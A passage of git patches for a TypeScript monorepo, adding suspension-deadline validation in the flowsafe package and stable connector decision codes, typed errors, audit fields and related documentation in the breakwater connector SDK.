{ valueOf: () => 1_000 }, false], + ['array', [1_000], false], + ['bigint', 1_000n, false], + ['symbol', Symbol('deadline'), false], + ])('agrees with arming for %s', (_label, value, accepted) => { + expect(isArmableSuspensionDeadlineMs(value)).toBe(accepted); + expect(suspensionDeadlinesOf(armedSummary(value)).entries.length > 0).toBe( + accepted, + ); + }); + + it('preserves distinct integer and range rejection reasons', () => { + expect(suspensionDeadlinesOf(armedSummary(1_500.5)).rejected).toEqual([ + { step: 'gate', reason: 'flowsafe.deadlineMs must be a safe integer' }, + ]); + expect(suspensionDeadlinesOf(armedSummary(999)).rejected).toEqual([ + { + step: 'gate', + reason: 'flowsafe.deadlineMs must be between 1000 and 31536000000 ms', + }, + ]); + }); +}); + describe('suspensionDeadlinesOf', () => { it('arms nothing for a run that is not suspended', () => { expect( @@ -921,6 +969,21 @@ describe('isReadableRunSummary', () => { }); describe('suspension timeout resume data', () => { + it('accepts a test fixture without suspension fences or retry state', () => { + const data = suspensionTimeoutResumeData( + { step: 'gate', deadlineAt: 1_751_883_300_000 }, + 1_751_883_300_123, + ); + expect(data).toEqual({ + 'flowsafe.suspensionTimeout': { + step: 'gate', + deadlineAt: 1_751_883_300_000, + expiredAt: 1_751_883_300_123, + }, + }); + expect(isSuspensionTimeoutResumeData(data)).toBe(true); + }); + it('wraps the expired entry under the reserved key', () => { const entry: SuspensionDeadlineEntry = { step: 'gate', diff --git a/packages/flowsafe/src/do-runner/suspension-deadline.ts b/packages/flowsafe/src/do-runner/suspension-deadline.ts index 33534ee0..a9ef5818 100644 --- a/packages/flowsafe/src/do-runner/suspension-deadline.ts +++ b/packages/flowsafe/src/do-runner/suspension-deadline.ts @@ -48,6 +48,15 @@ export const MIN_SUSPENSION_DEADLINE_MS = 1_000; /** Longest armable deadline (365 days), so week-scale waits still fit. */ export const MAX_SUSPENSION_DEADLINE_MS = 31_536_000_000; +/** Checks the duration accepted by suspension deadline arming. */ +export function isArmableSuspensionDeadlineMs(value: unknown): value is number { + return ( + Number.isSafeInteger(value) && + (value as number) >= MIN_SUSPENSION_DEADLINE_MS && + (value as number) <= MAX_SUSPENSION_DEADLINE_MS + ); +} + /** Per-run entry cap; a run cannot grow its object's storage without bound. */ export const MAX_SUSPENSION_DEADLINES_PER_RUN = 32; @@ -338,10 +347,7 @@ export function suspensionDeadlinesOf(summary: RunSummary): { }); continue; } - if ( - (deadlineMs as number) < MIN_SUSPENSION_DEADLINE_MS || - (deadlineMs as number) > MAX_SUSPENSION_DEADLINE_MS - ) { + if (!isArmableSuspensionDeadlineMs(deadlineMs)) { rejected.push({ step, reason: `${SUSPENSION_DEADLINE_PAYLOAD_KEY} must be between ${MIN_SUSPENSION_DEADLINE_MS} and ${MAX_SUSPENSION_DEADLINE_MS} ms`, @@ -511,7 +517,7 @@ export function dueSuspensionDeadline( /** The resume data a timeout resume delivers to the expired step. */ export function suspensionTimeoutResumeData( - entry: SuspensionDeadlineEntry, + entry: Pick, expiredAt: number, ): SuspensionTimeoutResumeData { return { diff --git a/packages/flowsafe/src/do-runner/testing.ts b/packages/flowsafe/src/do-runner/testing.ts new file mode 100644 index 00000000..faa50294 --- /dev/null +++ b/packages/flowsafe/src/do-runner/testing.ts @@ -0,0 +1,7 @@ +// SPDX-License-Identifier: Apache-2.0 + +export type { + SuspensionTimeoutEnvelope, + SuspensionTimeoutResumeData, +} from './suspension-deadline.js'; +export { suspensionTimeoutResumeData } from './suspension-deadline.js'; diff --git a/packages/flowsafe/typedoc.json b/packages/flowsafe/typedoc.json index 8d12ecab..3dadc262 100644 --- a/packages/flowsafe/typedoc.json +++ b/packages/flowsafe/typedoc.json @@ -9,6 +9,8 @@ "src/artifacts/index.ts", "src/audit-export/index.ts", "src/do-runner/index.ts", + "src/do-runner/constants.ts", + "src/do-runner/testing.ts", "src/deployment-identity-protocol.ts", "src/goals/index.ts", "src/host-kit/index.ts", From 9de1217133f91bcbe6e2999f27e8d4594d697518 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Wed, 9 Sep 2026 11:02:30 +0400 Subject: [PATCH 099/169] docs(flowsafe): clarify timeout fixture and retry boundaries --- packages/flowsafe/src/do-runner/durable-object.ts | 9 +-------- .../flowsafe/src/do-runner/suspension-deadline.ts | 11 +---------- 2 files changed, 2 insertions(+), 18 deletions(-) diff --git a/packages/flowsafe/src/do-runner/durable-object.ts b/packages/flowsafe/src/do-runner/durable-object.ts index 340385a0..9a76c518 100644 --- a/packages/flowsafe/src/do-runner/durable-object.ts +++ b/packages/flowsafe/src/do-runner/durable-object.ts @@ -463,14 +463,7 @@ export abstract class DurableObjectRunner { return value; } - /** - * The reserved timeout envelope is minted by the alarm and by nothing else. - * A caller allowed to resume could otherwise drive a step's timeout branch - * while provenance still names them as the requester, which would make the - * one contract this feature sells — a timeout resume is distinguishable from - * a real signal — untrue. The KEY is refused, not just a well-formed - * envelope, so a step that reads the key directly cannot be fooled either. - */ + /** Caller-supplied timeout data would select the timeout branch with caller provenance. */ #resumeData(value: unknown): unknown { if ( value !== null && diff --git a/packages/flowsafe/src/do-runner/suspension-deadline.ts b/packages/flowsafe/src/do-runner/suspension-deadline.ts index a9ef5818..bc806d74 100644 --- a/packages/flowsafe/src/do-runner/suspension-deadline.ts +++ b/packages/flowsafe/src/do-runner/suspension-deadline.ts @@ -441,16 +441,7 @@ export function parseSuspensionDeadlineRecord( }; } -/** - * A spent entry, kept for the suspension it was armed against: the ledger at - * the budget, and every field that only means something while it is still - * being retried — the backoff floor, the unreadable-state clock — dropped, - * because a tombstone is never selected, never armed and never read again. - * Lives beside its two recognizers, `abandoned()` and `storedEntry`'s ledger - * rule, so the shape they accept and the shape written here cannot drift. - * Exported from this module for the run object that writes it; deliberately - * NOT from the package barrel, which exposes no part of the stored record. - */ +/** Retains the suspension fence so reconciliation cannot give it a fresh retry budget. */ export function tombstoned( entry: SuspensionDeadlineEntry, ): SuspensionDeadlineEntry { From 37c0feeb2840cf3c6d08b695469ae0d1859ffa4d Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Wed, 9 Sep 2026 12:07:56 +0400 Subject: [PATCH 100/169] feat(breakwater): classify connector decisions and isolate audit failures --- .changeset/stable-connector-decisions.md | 9 + docs/agent-cli-connectors.md | 4 + docs/connector-interface.md | 68 +- docs/observability-and-quality.md | 4 +- docs/policy-engine-design.md | 4 +- packages/breakwater/CONNECTORS.md | 12 +- packages/breakwater/README.md | 9 +- .../scripts/packed-consumer-test.mjs | 96 +- .../src/agent-cli/agent-cli.test.ts | 133 +- packages/breakwater/src/agent-cli/index.ts | 19 + packages/breakwater/src/audit/audit.test.ts | 67 + packages/breakwater/src/audit/index.ts | 25 +- .../breakwater/src/connector-decision.test.ts | 554 +++++++++ packages/breakwater/src/connector-decision.ts | 537 ++++++++ .../src/connector-sdk/connector-sdk.test.ts | 1090 ++++++++++++++++- .../connector-sdk/d1-rate-limit-store.test.ts | 17 +- .../src/connector-sdk/egress-fetch.test.ts | 245 ++++ .../src/connector-sdk/egress-fetch.ts | 161 ++- .../breakwater/src/connector-sdk/index.ts | 377 +++--- .../single-tenant-preset.test.ts | 45 +- packages/breakwater/src/index.ts | 16 + .../src/policy-engine/tool-policy.test.ts | 85 +- .../src/policy-engine/tool-policy.ts | 13 +- .../src/audit-export/audit-export.test.ts | 41 + 24 files changed, 3327 insertions(+), 304 deletions(-) create mode 100644 .changeset/stable-connector-decisions.md create mode 100644 packages/breakwater/src/connector-decision.test.ts create mode 100644 packages/breakwater/src/connector-decision.ts diff --git a/.changeset/stable-connector-decisions.md b/.changeset/stable-connector-decisions.md new file mode 100644 index 00000000..ec67da20 --- /dev/null +++ b/.changeset/stable-connector-decisions.md @@ -0,0 +1,9 @@ +--- +'@proofoftech/breakwater': minor +--- + +Add stable connector decision codes, canonical policy categories, retryability and safe structured details to authored errors and audit events. Preserve custom policy names and the three-string policy-error constructor. + +Wrap store and evaluator failures with typed errors. Pre-execution store failures retain their original cause at the base connector boundary; Agent CLI adapters preserve the classification without exposing raw causes. Post-effect commit and best-effort release failures retain their existing suppressed disposition and non-retryable audit codes. Direct invocation and validation errors gain stable tags, and egress refusals retain their transport checks. + +Contain audit error-observer failures so they cannot replace completed connector results, release a pending reservation after failed result storage, or replace an original execution error. Rejected observer promises stay isolated too. diff --git a/docs/agent-cli-connectors.md b/docs/agent-cli-connectors.md index 2bb84a4d..c1ad0d69 100644 --- a/docs/agent-cli-connectors.md +++ b/docs/agent-cli-connectors.md @@ -181,6 +181,10 @@ Codes distinguish unavailable runtime or codec, definition/flag failure, spawn f The one-argument `new AgentCliError(message)` constructor remains compatible for consumers that created their own error, but errors emitted by shipped connectors use the structured metadata. +Connector refusals retain the [connector decision taxonomy](connector-interface.md#connector-decision-codes). `ConnectorPolicyError` preserves its code, canonical category, retryability and safe details while its reason becomes the fixed CLI denial message. `ConnectorStoreError` and `ConnectorEvaluatorError` retain their typed classification without raw `cause`, so executor, prompt and process data cannot escape through those exceptions. This differs from the base connector store boundary, where the original exception remains on `cause`. + +`invokeConnector` emits typed invocation and validation errors at its own public boundary. CLI-specific process failures continue to use `AgentCliError`; unknown executor/parser errors remain redacted. + ## Timeouts and output limits `timeoutMs` defaults to 10 minutes and must be a safe integer from 1 through the JavaScript timer ceiling. On POSIX, the built-in runner starts the CLI as a new process-group and session leader, sends `SIGKILL` to the negative group id, and waits up to five seconds for that group to disappear. On Windows, it resolves `taskkill.exe` under a drive-absolute local `SystemRoot` or `WINDIR` before starting the CLI, then invokes that absolute path with `['/pid', pid, '/T', '/F']`, `shell: false`, and a hidden window. It rejects relative, root-relative, Universal Naming Convention (UNC), and device paths. This prevents a writable current directory, network share, device path, or `PATH` entry from replacing the timeout helper. It waits for taskkill to complete before returning the timeout. diff --git a/docs/connector-interface.md b/docs/connector-interface.md index a8b7a7cd..4d08a573 100644 --- a/docs/connector-interface.md +++ b/docs/connector-interface.md @@ -82,7 +82,7 @@ const contact = await invokeConnector(createContact, input, { Omit `toolCallId` for suspension and run grants. For a tool-call grant, pass the exact runtime-owned ID. Never derive it from client input or store it in a shared `RequestContext`. -The helper accepts only an unmodified `Connector` created by `createConnector()`. It calls the public Mastra execution wrapper, so schema validation and every Breakwater gate remain active. Input or output validation throws `ConnectorValidationError`. The error exposes only `connector` and `phase`; it omits Mastra's raw message, schema issue text, invalid value, and cause. +The helper accepts only an unmodified `Connector` created by `createConnector()`. It calls the public Mastra execution wrapper, so schema validation and every Breakwater gate remain active. Input or output validation throws `ConnectorValidationError`. The error identifies the connector and phase with a stable kind/code; it omits Mastra's raw message, schema issue text, invalid value, and cause. ## Permission manifest @@ -256,10 +256,74 @@ schema validation -> idempotency commit ``` -A denial throws `ConnectorPolicyError` with connector id, policy name, and reason. Every gate records its decision through the supplied audit logger. Connector decisions use `agentAuditDetail()`, so trusted `breakwater.auditContext` correlation overrides same-named decision detail. +A denial throws `ConnectorPolicyError`; use its [decision code](#connector-decision-codes) for machine handling. Decisions that reach the configured audit wrapper retain their existing audit events. Connector decisions use `agentAuditDetail()`, so trusted `breakwater.auditContext` correlation overrides same-named decision detail. An arbitrary execution, store, evaluator, or parser throw is not copied verbatim into audit. Safe built-in errors can register a static reason and bounded metadata. +## Connector decision codes + +Branch on `code`, `policyKind` and `retryable` from the exported error types instead of parsing human reasons. `ConnectorDecisionCode` names the patch-stable catalogue; `ConnectorPolicyName` describes canonical categories. Diagnostic `policy` values remain arbitrary strings, including custom evaluator names. + +Import `CONNECTOR_DECISIONS`, `isConnectorDecisionCode`, `connectorDecisionRetryable` and the error types from `@proofoftech/breakwater/connector-sdk` or the root package. The catalogue and its entries are frozen. The retryability helper rejects unknown codes; a structural code check classifies data without establishing who produced it. + +| Code | Emitted for | Retryable | +| --- | --- | --- | +| `CONNECTOR_ALLOWED` | Fresh execution, replay, joined execution or simulation returns a result | false | +| `PERMISSION_GRANTED` | existing connector.authorize allow event | false | +| `APPROVAL_GRANTED` | existing connector.approval allow event | false | +| `IDEMPOTENCY_TAKEOVER` | existing separate stale-reservation takeover event; no new takeover behavior | false | +| `EGRESS_INPUT_INVALID` | standalone guard received neither supported URL string nor URL-like object | false | +| `EGRESS_URL_INVALID` | initial URL parsing refusal | false | +| `EGRESS_SCHEME_NOT_ALLOWED` | initial non-http(s) scheme | false | +| `EGRESS_HOST_NOT_DECLARED` | initial actual request host outside manifest | false | +| `EGRESS_REDIRECT_URL_INVALID` | unparseable redirect Location | false | +| `EGRESS_REDIRECT_SCHEME_NOT_ALLOWED` | redirect to non-http(s) scheme | false | +| `EGRESS_REDIRECT_HOST_DENIED` | redirect host outside manifest | false | +| `EGRESS_REDIRECT_UNVERIFIABLE` | opaque status-0 redirect; Location unavailable | false | +| `EGRESS_REDIRECT_LIMIT_EXCEEDED` | guard refuses to follow beyond configured cap | false | +| `EGRESS_REDIRECT_BODY_UNREPLAYABLE` | one-shot body cannot be resent safely | false | +| `EGRESS_DENIED` | backward-compatible manually constructed standalone EgressDeniedError without explicit metadata | false | +| `EGRESS_HOST_NOT_ALLOWED_BY_ORG` | networkEgress rejects a declared host; independent of name override | false | +| `PERMISSION_PROJECTION_INVALID` | required-permission projection absent or malformed | false | +| `PERMISSION_MISSING` | valid projection lacks one or more required identifiers | false | +| `APPROVAL_GRANT_MISSING` | no valid matching structured approval grant, including stale/wrong/malformed grants | false | +| `RATE_LIMIT_EXCEEDED` | increment succeeded and exhausted configured budget | true | +| `IDEMPOTENCY_KEY_MISSING` | manifest requires a nonempty key | false | +| `IDEMPOTENCY_CONFLICT` | legacy or current atomic pending execution owns the same key | true | +| `IDEMPOTENCY_LEGACY_AMBIGUOUS` | ambiguous legacy tuple needs external association | false | +| `IDEMPOTENCY_MIGRATION_REQUIRED` | legacy writer drain acknowledgement absent | false | +| `DRY_RUN_UNSUPPORTED` | simulation requested without declared implementation | false | +| `WORKFLOW_SCOPE_MISSING` | crossWorkflowIsolation addresses workflow state without caller scope | false | +| `CROSS_WORKFLOW_ACCESS_DENIED` | target differs from caller workflow | false | +| `ISOLATION_SCOPE_MISSING` | tenantIsolation has no valid opaque scope | false | +| `BACKGROUND_OVERRIDE_DENIED` | SDK hard presence check rejects foreground-only argument override | false | +| `BACKGROUND_EXECUTION_DENIED` | backgroundExecution evaluator rejects write-class enabled override | false | +| `EVALUATOR_DENIED` | custom/legacy evaluator denial without more specific metadata | false | +| `EVALUATOR_FAILED` | tool evaluator throws or returns invalid new decision metadata | false | +| `STORE_UNAVAILABLE` | pre-execution increment/get/inspect/reserve exception | true | +| `STORE_COMMIT_FAILED` | post-success put failed; audit only, successful result still delivered | false | +| `STORE_RELEASE_FAILED` | best-effort release failed; audit only, original failure remains primary | false | +| `CONNECTOR_EXECUTION_FAILED` | existing generic execute-failure audit; arbitrary application exception still propagates unchanged | false | +| `CONNECTOR_INPUT_INVALID` | invokeConnector input validation boundary | false | +| `CONNECTOR_OUTPUT_INVALID` | wrapper output validation audit and invokeConnector validation boundary | false | +| `CONNECTOR_UNREGISTERED` | invokeConnector did not receive a registered connector | false | +| `CONNECTOR_BOUNDARY_MODIFIED` | registered execution boundary fingerprint differs | false | +| `CONNECTOR_INVOCATION_OPTIONS_INVALID` | explicit invalid toolCallId boundary | false | +| `CONNECTOR_BOUNDARY_UNVERIFIABLE` | public execute returned without entering protected wrapper and was not recognized input validation | false | + + +A retryable refusal permits another attempt after its condition clears, with the same logical operation and idempotency identity. It does not authorize a fresh key or prove that uncertain external effects can be repeated. Breakwater adds no automatic retries. A redirect refusal remains non-retryable because the preceding request may already have caused an effect. + +`ConnectorPolicyError` retains `connector`, `policy`, `reason` and its three-string constructor. It adds `kind: 'connector-policy'`, code, canonical category, retryability and code-specific details. A manually constructed legacy error receives `EVALUATOR_DENIED`; names never determine codes. Custom evaluators may still return `{ allowed: false, reason }`, or supply a denial code and its supported details. Invalid new metadata becomes `ConnectorEvaluatorError` with `EVALUATOR_FAILED`. + +`ConnectorStoreError` identifies the actual store and operation. Before execution, a store failure retains the original exception on native `cause`, with a fixed public message and `STORE_UNAVAILABLE`. After a successful effect, a failed `put` is audited as `STORE_COMMIT_FAILED` while the successful result remains returned. A failed best-effort release is audited as `STORE_RELEASE_FAILED` while the original failure remains primary. The [Agent CLI adapter](agent-cli-connectors.md#error-handling) preserves the taxonomy while omitting raw causes. + +`ConnectorValidationError` has `kind: 'connector-validation'` and the input/output code while keeping schema values, issue text and causes private. `ConnectorInvocationError` extends `TypeError` for the public ownership, options and enforcement-boundary refusals. Arbitrary application execution exceptions retain their original identity; their audit event uses `CONNECTOR_EXECUTION_FAILED`. + +Safe details describe an extracted host/hop, declared or missing permission identifiers, policy version, or configured rate limit/window where the code supports them. They are copied rather than merged from arbitrary objects. Effective grants, idempotency keys, request bodies, full URLs and raw causes do not enter these new details. Host-authored diagnostic names and reasons remain prose; do not put secrets in them. + +SDK-owned audit events carry `decisionCode`, `policyKind` and `retryable` from the same classification as the thrown error. Nested connector errors retain their causal code even when the outer event's decision is `error`. Shared audit fields remain optional for non-connector events. Input validation or invocation refusal can precede the configured audit wrapper, so such a refusal does not imply that an audit event exists. + ## Network egress Egress has two nested policies: diff --git a/docs/observability-and-quality.md b/docs/observability-and-quality.md index b9e8d547..de455846 100644 --- a/docs/observability-and-quality.md +++ b/docs/observability-and-quality.md @@ -32,10 +32,12 @@ const audit = new AuditLogger({ }); ``` -Sink failure does not change the gated application decision. The event remains in the ring until eviction. This improves application availability but means export health needs a separate alert. +Sink or `onSinkError` failure does not change the gated application decision. Synchronous exceptions and rejected promises remain isolated. The event remains in the ring until eviction. This improves application availability but means export health needs a separate alert. `combineAuditSinks()` invokes every sink and aggregates synchronous and asynchronous failures after all sinks settle. +Connector SDK events include `decisionCode`, `policyKind` and `retryable` from the same classification as their authored errors. These fields remain optional on the shared `AuditEvent` because other producers have their own contracts. A nested connector failure can retain the inner code while the outer event records `decision: "error"`. See the [connector decision catalogue](connector-interface.md#connector-decision-codes) for retry and post-effect store semantics. + ## Audit-derived metrics `metricsAuditSink()` uses a structural recorder: diff --git a/docs/policy-engine-design.md b/docs/policy-engine-design.md index 287f4815..39b5e6c6 100644 --- a/docs/policy-engine-design.md +++ b/docs/policy-engine-design.md @@ -183,6 +183,8 @@ Add evaluators through `ConnectorPolicies.evaluators`. Keep them deterministic a An evaluator may inspect trusted request-context values, but must never promote client input into an approval grant or isolation scope. +Tool evaluators can return `{ allowed: false, reason }` or add a `ConnectorDenialCode` and its code-specific `details`. Built-in codes are independent of renamed evaluators. Legacy custom denials use `EVALUATOR_DENIED`; malformed new metadata and evaluator exceptions use `EVALUATOR_FAILED`. The connector SDK validates and copies those fields before emitting its error and audit event. See the [decision-code contract](connector-interface.md#connector-decision-codes). Agent and content policy seams keep their existing result and abort behavior. + ## Connector execution order The SDK uses this order: @@ -210,7 +212,7 @@ attempt can retry. Output-validation failure after execution leaves an atomic reservation pending until stale takeover or operator recovery because an immediate release could duplicate the completed side effect. -Every allow, denial, and gate failure emits structured audit. Arbitrary thrown values are mapped to static safe audit reasons rather than copied into audit output. +SDK events that reach the configured audit wrapper include `decisionCode`, `policyKind` and `retryable`. Arbitrary thrown values use static audit reasons rather than their exception text. ## Data lifecycle policy diff --git a/packages/breakwater/CONNECTORS.md b/packages/breakwater/CONNECTORS.md index e6a4c7af..16dcb6e7 100644 --- a/packages/breakwater/CONNECTORS.md +++ b/packages/breakwater/CONNECTORS.md @@ -284,7 +284,7 @@ await invokeConnector(connector, input, { }); ``` -Do not store this value in `RequestContext` or build a partial Mastra agent context. Concurrent calls can share a `RequestContext` while carrying different tool-call identities. A validation failure throws `ConnectorValidationError` with only the connector ID and the safe phase, `input` or `output`. It never exposes Mastra's message, schema issue text, invalid value, or cause. +Do not store this value in `RequestContext` or build a partial Mastra agent context. Concurrent calls can share a `RequestContext` while carrying different tool-call identities. A validation failure throws `ConnectorValidationError` with a stable kind/code, connector ID and phase, `input` or `output`. It never exposes Mastra's message, schema issue text, invalid value, or cause. To request simulation: @@ -476,9 +476,13 @@ outside this seam must also be denied. ## Handle errors and audit safely -Policy denials throw `ConnectorPolicyError` with `connector`, `policy`, and -`reason`. Standalone `egressFetch()` throws `EgressDeniedError` by default or -uses the caller's `denied()` mapper. +Use `ConnectorPolicyError.code` for machine handling and keep `policy`/`reason` for diagnostics. The error also exposes a stable kind, canonical `policyKind`, retryability and code-specific safe details. Custom policy names and the three-string constructor remain supported. The legacy constructor uses `EVALUATOR_DENIED`; it does not infer a code from the name. + +Read the [decision-code catalogue](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/connector-interface.md#connector-decision-codes) for coverage and retry semantics. `CONNECTOR_DECISIONS`, `isConnectorDecisionCode` and `connectorDecisionRetryable` are exported from the SDK and root entries. SDK audit records carry matching `decisionCode`, `policyKind` and `retryable` fields. + +Before execution, rate-limit and idempotency store failures throw `ConnectorStoreError` with `STORE_UNAVAILABLE`, the actual operation, and the original exception on native `cause`. Post-effect commit and best-effort release failures remain audited and suppressed; their codes are non-retryable. Evaluator failures use `ConnectorEvaluatorError`. The Agent CLI adapter preserves these classifications while omitting raw causes. + +Standalone `egressFetch()` emits coded `EgressDeniedError` and redirect `EgressGuardError` values. A custom `denied()` mapper receives the code and owns the error it returns. The connector wrapper rethrows errors from your `execute()` implementation so your caller can handle the original failure. It does not copy arbitrary thrown diff --git a/packages/breakwater/README.md b/packages/breakwater/README.md index df771d45..430db1a4 100644 --- a/packages/breakwater/README.md +++ b/packages/breakwater/README.md @@ -252,7 +252,7 @@ const account = await invokeConnector(accountLookup, { }); ``` -Pass a trusted `RequestContext` when the connector uses grants, identity, dry-run, idempotency, or isolation keys. `invokeConnector()` preserves Mastra schema validation and every Breakwater gate. It rejects plain tools and connectors whose ID, execution function, or schema surface changed after construction. Validation failures throw a redacted `ConnectorValidationError` with the connector ID and `input` or `output` phase. +Pass a trusted `RequestContext` when the connector uses grants, identity, dry-run, idempotency, or isolation keys. `invokeConnector()` preserves Mastra schema validation and every Breakwater gate. It rejects plain tools and connectors whose ID, execution function, or schema surface changed after construction. Validation failures throw a redacted `ConnectorValidationError` with a stable kind/code, connector ID and `input` or `output` phase. The permission manifest is enforced: @@ -521,17 +521,20 @@ for compatibility. ### Connector SDK exports +Use the [connector decision-code guide](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/connector-interface.md#connector-decision-codes) to classify failures and audit events. The exported `ConnectorDecisionCode` and `ConnectorPolicyName` types support machine handling while diagnostic policy names remain open strings. Retryability preserves the same operation identity; it does not add automatic retries. + | Runtime exports | Purpose | | --- | --- | | `createConnector`, `connectorManifest` | Build an enforced Mastra connector and inspect its immutable manifest | | `invokeConnector` | Invoke an unmodified connector from trusted host or workflow code without fabricating a Mastra tool context | | `singleTenantConnectorPolicies` | Build the validated connector-policy baseline for one physically isolated deployment | -| `ConnectorPolicyError`, `ConnectorValidationError` | Structured policy denial and redacted direct-invocation validation failure | +| `ConnectorPolicyError`, `ConnectorStoreError`, `ConnectorEvaluatorError`, `ConnectorValidationError`, `ConnectorInvocationError` | Stable classification for authored connector failures | +| `CONNECTOR_DECISIONS`, `isConnectorDecisionCode`, `connectorDecisionRetryable` | Decision catalogue and retryability without parsing diagnostic prose | | `CONNECTOR_GRANTS_CONTEXT_KEY`, `CONNECTOR_EXECUTION_CONTEXT_KEY`, `DRY_RUN_CONTEXT_KEY`, `IDEMPOTENCY_KEY_CONTEXT_KEY` | Stable connector request-context keys | | `InMemoryIdempotencyStore`, `D1IdempotencyStore` | Development and durable replay stores | | `inspectLegacyConnectorIdempotency`, `migrateLegacyConnectorIdempotency` | Inventory and atomically migrate one externally proven ambiguous legacy D1 row without exposing storage keys | | `InMemoryRateLimitStore`, `D1RateLimitStore` | Development and durable fixed-window stores | -| `egressFetch`, `EgressDeniedError` | Standalone fetch guard and its default denial | +| `egressFetch`, `EgressDeniedError`, `EgressGuardError` | Standalone fetch guard and coded request/redirect refusals | Type exports: `Connector`, `ConnectorInvocationOptions`, `PermissionManifest`, `ConnectorConfig`, `ConnectorPolicies`, `SingleTenantConnectorPolicies`, `SingleTenantConnectorPoliciesOptions`, diff --git a/packages/breakwater/scripts/packed-consumer-test.mjs b/packages/breakwater/scripts/packed-consumer-test.mjs index c6e83325..205ee120 100644 --- a/packages/breakwater/scripts/packed-consumer-test.mjs +++ b/packages/breakwater/scripts/packed-consumer-test.mjs @@ -160,7 +160,7 @@ try { noEmit: true, skipLibCheck: true, }, - include: ['consumer.ts'], + include: ['consumer.ts', 'decision-consumer.ts'], }, null, 2, @@ -332,11 +332,53 @@ void metadata; void event; void grant; void execution; +`, + ); + await writeFile( + join(consumerDirectory, 'decision-consumer.ts'), + `import { + CONNECTOR_DECISIONS, ConnectorPolicyError, ConnectorStoreError, + ConnectorEvaluatorError, ConnectorInvocationError, ConnectorValidationError, + connectorDecisionRetryable, isConnectorDecisionCode, + type ConnectorDecisionCode, type ConnectorPolicyName, type ConnectorDenialMetadata, + type ConnectorStoreName, type ConnectorStoreOperation, type ConnectorInvocationCode, +} from '@proofoftech/breakwater'; +import { ConnectorPolicyError as SdkPolicyError } from '@proofoftech/breakwater/connector-sdk'; +import type { AuditEvent } from '@proofoftech/breakwater/audit'; +const metadata: ConnectorDenialMetadata = { + code: 'PERMISSION_MISSING', + details: { missingPermissions: ['resource.read'], permissionPolicyVersion: 'v1' }, +}; +const legacy: ConnectorPolicyError = new SdkPolicyError('example.read', 'custom-label', 'denied'); +const denial = new ConnectorPolicyError('example.read', 'custom-label', 'denied', metadata); +const kind: ConnectorPolicyName = denial.policyKind; +const code: ConnectorDecisionCode = denial.code; +const retry: boolean = CONNECTOR_DECISIONS[code].retryable; +const storeName: ConnectorStoreName = 'idempotency'; +const operation: ConnectorStoreOperation = 'get'; +const store = new ConnectorStoreError('example.read', storeName, operation, { cause: null }); +const evaluator = new ConnectorEvaluatorError('example.read', 'custom', { cause: null }); +const invocationCode: ConnectorInvocationCode = 'CONNECTOR_UNREGISTERED'; +const invocation: TypeError = new ConnectorInvocationError(undefined, invocationCode, 'unregistered'); +const validation = new ConnectorValidationError('example.read', 'input'); +const event: AuditEvent = { + timestamp: '2026-09-09T00:00:00.000Z', actor: null, action: 'connector.execute', + resource: 'example.read', decision: 'denied', decisionCode: code, policyKind: kind, retryable: retry, +}; +declare const candidate: unknown; +if (isConnectorDecisionCode(candidate)) connectorDecisionRetryable(candidate); +// @ts-expect-error unknown codes are not part of the published union +const unknownCode: ConnectorDecisionCode = 'UNKNOWN_CONNECTOR_CODE'; +// @ts-expect-error error details do not accept a raw request body +const unsafe: ConnectorDenialMetadata = { code: 'EGRESS_HOST_NOT_DECLARED', details: { body: 'private' } }; +void [legacy, store, evaluator, invocation, validation, event, unknownCode, unsafe]; `, ); await writeFile( join(consumerDirectory, 'runtime.mjs'), `import assert from 'node:assert/strict'; +import * as root from '@proofoftech/breakwater'; +import * as sdk from '@proofoftech/breakwater/connector-sdk'; import { RequestContext } from '@mastra/core/request-context'; import { AgentCliError, @@ -371,6 +413,55 @@ await Promise.all([ import('@proofoftech/breakwater/audit'), import('@proofoftech/breakwater/agent-cli'), ]); +for (const name of [ + 'CONNECTOR_DECISIONS', 'ConnectorPolicyError', 'ConnectorStoreError', + 'ConnectorEvaluatorError', 'ConnectorInvocationError', 'ConnectorValidationError', + 'EgressDeniedError', 'EgressGuardError', 'connectorDecisionRetryable', 'isConnectorDecisionCode', +]) assert.equal(root[name], sdk[name], name); +const legacyPolicy = new root.ConnectorPolicyError('packed.read', 'custom', 'denied'); +assert.equal(legacyPolicy.code, 'EVALUATOR_DENIED'); +assert.equal(legacyPolicy.policyKind, 'evaluator'); +assert.equal(legacyPolicy.retryable, false); +assert.equal(legacyPolicy.message, 'connector packed.read denied by custom: denied'); +assert.equal(root.isConnectorDecisionCode(JSON.parse(JSON.stringify(legacyPolicy)).code), true); +assert.equal(root.isConnectorDecisionCode('constructor'), false); +assert.equal(root.isConnectorDecisionCode('__proto__'), false); +assert.equal(Object.isFrozen(root.CONNECTOR_DECISIONS), true); +assert.equal(Object.isFrozen(root.CONNECTOR_DECISIONS.STORE_UNAVAILABLE), true); +assert.equal(root.connectorDecisionRetryable('STORE_UNAVAILABLE'), true); +assert.equal(root.connectorDecisionRetryable('STORE_COMMIT_FAILED'), false); +assert.equal(root.connectorDecisionRetryable('STORE_RELEASE_FAILED'), false); +assert.throws(() => root.connectorDecisionRetryable('unknown'), TypeError); +const storeCause = new Error('packed-private-store-cause'); +const storeAudit = new AuditLogger(); +let storeExecutions = 0; +const storeFailure = createConnector({ + id: 'packed.store-failure', description: 'Exercise a refused local budget', + permissions: { sideEffect: 'read', rateLimit: '1/min' }, + policies: { audit: storeAudit, rateLimitStore: { increment: async () => { throw storeCause; } } }, + execute: async () => { storeExecutions++; return {}; }, +}); +const storeError = await invokeConnector(storeFailure, {}, {}).catch(error => error); +assert.equal(storeError instanceof sdk.ConnectorStoreError, true); +assert.equal(storeError.cause, storeCause); +assert.equal(storeError.code, 'STORE_UNAVAILABLE'); +assert.equal(storeError.operation, 'increment'); +assert.equal(storeError.retryable, true); +assert.equal(storeExecutions, 0); +assert.equal(storeAudit.events().length, 1); +assert.equal(storeAudit.events()[0].decisionCode, storeError.code); +assert.equal(JSON.stringify(storeAudit.events()).includes('packed-private-store-cause'), false); +let cliExecutions = 0; +const cliStoreFailure = createCodexConnector({ + requiresApproval: false, rateLimit: '1/min', + exec: async () => { cliExecutions++; return { stdout: '', stderr: '', exitCode: 0 }; }, + policies: { rateLimitStore: { increment: async () => { throw storeCause; } } }, +}); +const cliStoreError = await invokeConnector(cliStoreFailure, { prompt: 'private prompt' }, 